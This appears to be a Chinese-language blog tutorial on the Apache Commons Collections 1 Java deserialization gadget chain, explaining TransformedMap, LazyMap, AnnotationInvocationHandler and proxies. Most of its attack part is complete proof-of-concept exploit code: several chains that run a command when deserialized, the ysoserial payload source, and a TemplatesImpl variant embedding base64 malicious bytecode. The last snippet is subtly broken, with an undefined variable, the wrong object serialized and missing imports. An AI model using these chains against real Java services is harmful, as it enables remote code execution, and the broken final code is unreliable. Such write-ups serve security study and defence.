CommonsCollections 1
JAVA命令执行
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime)m.invoke(null);
Method exec = Runtime.class.getMethod("exec",String.class);
exec.invoke(r,"calc");
}
}
首先需要利用getMethod
去获取这个类的getRuntime
方法,进而利用这个方法创建Runtime
对象r
,再同样用getMethod
去获取exec
方法,最后执行对象r
的exec
方法即可
Runtime.getRuntime().exec("calc");
ProcessBuilder calc = new ProcessBuilder("calc");
calc.start();
预备知识
Transformer
接口Transformer
,只有一个待实现的方法就是transform
方法,这个方法的参数是一个对象
public interface Transformer {
public Object transform(Object input);
}
一下是一些Transformer的实现类用来实现不同的TransformedMap
类中key、value
进行修改的功能。
TransformedMap
TransformedMap
中封装了一个decorate
方法,它是用来修饰Java
中的标准数据结构Map
,当向被修饰过的Map
中添加新元素时,它就会执行一个回调函数;这个回调并不是传统意义上的回调函数,而是执行一个实现了Transformer
接口的对象里面的transform
方法。
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调,当我们向outerMap
中添加新元素时,它就会调用keyTransformer
或valueTransformer
里面的transform
方法
ConstantTransformer
ConstantTransformer
有一个带参的构造函数,而参数类型是对象,当你传入一个对象后,它会在transform
方法中再将这个对象返回
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
它有一个带参构造函数,可以初始化时传入一个对象。并且实现了transform
方法,当调用transform
方法时直接将这个对象返回。就是将传入的对象constantToReturn
在transform
方法中返回
InvokerTransformer
InvokerTransformer
是实现RCE的关键类,它可以执行任意的方法。初始化时传入三个参数,第一个是要执行的方法名,第二个是方法需要传入的参数类型,第三个是方法需要传入的参数值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
再看Transform
方法,method.invoke(input, this.iArgs);
可以看出需要利用 Java 反射机制获取想要执行的方法,然后调用transform
方法时就可以通过invoke
执行这个获取到的方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);}
catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist");}
catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed");}
catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}
ChainedTransformer
前面的ConstantTransformer
和InvokerTransformer
相配合,前者返回Runtime,后者执行其中exec即可实现rce。
ChainedTransformer它就是将内部多个实现了Transformer
接口的类串在了一起,并且将前一个回调函数transform
返回的结果,作为后一个回调函数transform
的参数传入
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
整合实现rce
整个回调链逻辑为:创建一个存放Transformer
类型的数组,里面包含两个对象,ConstantTransformer
类初始化获取Runtime
类对象并返回;InvokeTransformer
类初始化获取exec
方法并传入参数类型和值calc
。将这个数组给ChainedTransformer
类初始化对象,将ChainedTransformer
对象作为keyTransformer
或valueTransformer
对Map做一个修饰。当向修饰后的Map中添加新元素时,就会自动调用作为keyTransformer
或valueTransformer
的ChainedTransformer
对象中的transform
方法,从而链式调用数组中Transformer
的transform
方法,将前一个Transformer
的返回值作为下一个Transformer
的参数不断调用,从而执行calc
系统命令弹出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//Transformer是⼀个接⼝,只有⼀个待实现的⽅法transform,这里是创的一个数组,里面有两个元素
new ConstantTransformer(Runtime.getRuntime()),
//ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
//InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键
//实例化InvokerTransformer时,三个参数:第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
//这里的transform内有一个参数input,它就是执行input对象的待执⾏的⽅法,也就是返回上面的Runtime对象
};
Transformer transformerChain = new ChainedTransformer(transformers);
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//TransformedMap⽤于对Map做⼀个修饰,对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
//TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个回调
outerMap.put("L1mbo","goodd");
//被修饰过的Map在添加新的元素时,执⾏回调
}
}
这里是通过给Map添加新元素触发,但实际应该还是反序列化流触发链子,但 Java 序列化需要类实现Serializable
接口,否则不能被序列化。Runtime类没有实现Serializable
接口,Runtime.getRuntime()
获取到的Runtime对象是不能被序列化的,这里就要用到反射机制了,反射通常是通过class方法生成的Class对象,Class实现了Serializable
接口而可以被序列化。
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc");
改写Transformer
数组:
Transformer[] transformers = new Transformer[] {
// 获取Class对象,可以被序列化
new ConstantTransformer(Runtime.class),
// public Method getMethod(String name, Class<?>... parameterTypes)
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
// public Object invoke(Object obj, Object... args)
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),};
此时需要一个类的readobject方法来触发transform,而实现一系列回调。即sun.reflect.annotation.AnnotationInvocationHandler
,它的readObject
方法如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
它会遍历我们反序列化后的map,也就是TransformedMap.decorate
修饰的map里的所有元素,并依次对它设置值,而在setValue
的时候就会触发TransformedMap
里面注册的ChainedTransformer
对象中的transform
方法,从而触发回调。
setValue
类似put
操作可以触发Transformer链的调用方法。所以需要创建一个AnnotationInvocationHandler
对象,将修饰好的Map放进来。因为这个构造方法是私有的,所以需要利用反射来实例化。这个类构造函数有两个参数,第一个是Annotation
子类,第二个参数是Map
要传入Retention.class
,在执行setValue
之前需要满足 if 判断才能进到setValue
方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
满足if需要
- AnnotationInvocationHandler构造函数第一个参数是Annotation子类且包含至少一个方法,假设为方法名为X
- TransformedMap.decorate修饰的Map中有一个键名为X的元素
Retention.class
就符合子类和至少一个方法的条件,方法叫value
,所以需要提前往Map
中添加一个元素,它的键名为value
,值随意。
由于网络传输需要用字节流而不是字符流,就需要先ByteOutputStream
创建字节数组缓存区,再创建对象的序列化流后用writeObject
写入序列化流。
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
整合poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
// 1.创建数组,用于回调链
Transformer[] transformers = new Transformer[]{
// 获取对象
new ConstantTransformer(Runtime.class),
// 获取方法,将返回值传递给下一个作为参数
// public Method getMethod(String name, Class<?>... parameterTypes)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// public Object invoke(Object obj, Object... args)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
// 将链连接起来
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 放入键名为value的元素,符合if判断
innerMap.put("value", "hello");
// 修饰Map
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 通过反射创建实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
System.out.println("对象序列化成功!");
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
System.out.println("对象反序列化成功!");
}
}
这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler
中的readObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象。不对我们的Map进行setvalue,无法触发链子。新老版本改动
在ysoserial的代码中,没⽤TransformedMap
,而是改用了了LazyMap,所以下面来说一说lazy
LazyMap
核心点在LazyMap#get
,LazyMap
在get不存在的key
时会尝试调用this.factory.transform
方法。
LazyMap和
TransformedMap类似,都是对map做一个修饰,都来自于Common-Collections库,并继承
AbstractMapDecorator
而LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在添加新元素的时候执行transform
,也就是put
一个新元素的时候;而LazyMap
是在get
方法中执行的transform
,因为LazyMap
的作用是“懒加载”,当它尝试get
一个不存在的key
时,它会调用factory.transform
方法去获取一个值,因为会调用transform
,从而触发漏洞,看看它的get
方法:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);###
map.put(key, value);
return value;
}
return map.get(key);
}
factory是
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
factory
是decorate
方法的第二个参数,也就是我们构造的恶意Transformer
;之后的过程就和前面讲的一样了
也就是调用LazyMap中decorate
方法,将恶意构造好的 Transformer 链作为第二个参数传入即可当 get 不到值的时候进行一系列调用
触发的话把TransformedMap
改成LazyMap
,把put
改成get
,就可以用lazymap实现cc1
如果想要在反序列化时触发,会稍微复杂一点,因为AnnotationInvocationHandler
类中的readObject
方法中并没有直接调用map中的get
方法,但在AnnotationInvocationHandler
类中的invoke
方法中有调用到get
。
想要调用invoke就得用到动态代理
。
AnnotationInvocationHandler
类实现了InvocationHandler
接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy
的静态方法newProxyInstance
去动态创建代理了,而这样就可以进入到invoke
方法中。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
InvocationHandler handler = (InvocationHandler) obj;
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象为proxyMap
,这里我们不能对它直接反序列化,因为这条链子的入口依然是AnnotationInvocationHandler
类中的readObject
方法,所以说我们再利用AnnotationInvocationHandler
对这个proxyMap
进行封装即可
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
完整的链子的思路:
首先是ObjectInputStream
对象的readObject()
,也就是对象流的反序列化,然后就是AnnotationInvocationHandler
对象的readObject()
方法,由于我们设置了代理,访问任意方法(readObject)后就会进入到AnnotationInvocationHandler
对象中的invoke
方法,然后调用LazyMap
中的get
方法,然后调用ChainedTransformer
中的transform
方法,然后调用ConstantTransformer
中的transform
方法,返回Runtime.class
对象,然后调用InvokerTransformer
中的transform
方法,然后利用invoke
方法获取到getMethod
方法,得到getRuntime
对象,最后执行里面的exec
方法就好了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println("对象序列化成功!");
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
System.out.println("对象反序列化成功!");
}
}
LazyMap
没解决CommonCollections1
在Java高版本(8u71以后)中的使用问题
LazyMap
的漏洞触发在get
和invoke
中,跟setValue
无关,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject
中有没有setValue
没任何关系,主要它高版本会新建一个map
对象,而没有用我们构造的那个map了
但是看一眼ysoserial中的poc,复杂的多
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// arm with actual transformer chain 最后才将真正具有危害的Transformer数组设置进去
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
ysoserial 先new ChainedTransformer
假数组,最后再利用getDeclaredField
获取私有方法iTransformers
,把我们真正的Transformer
数组设置进去。
在前面放Transformer[]
假数组的原因是:使用了Proxy
代理了被修饰的Map对象时,我们在任何地方执行Map的方法时,都会触发Proxy#invoke
,从而执行命令弹出计算器。正常执行是没问题的,但是在调试时可能会弹两遍甚至是三遍计算器,这是因为调试器会在下面调用一些toString
之类的方法,导致不经意间就触发了命令。ysoserial
对此做出的处理就避免了本地生成序列化流的程序执行到命令。
cc1+TemplatesImpl
也就是用InvokerTransformer
来调用newTransformer
这个方法
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;
public class CommonsCollections3_1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "L1mbo");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer [] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
Transformer transformersChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
System.out.println("对象序列化成功!");
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
System.out.println("对象反序列化成功!");
}
}